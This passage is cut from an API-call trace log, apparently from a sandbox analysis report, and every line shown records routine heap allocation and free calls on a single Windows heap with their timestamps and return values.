(HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.104] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.104] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.105] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.105] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.106] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.106] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.107] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.107] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.108] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.108] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.109] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.109] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.110] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.110] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: 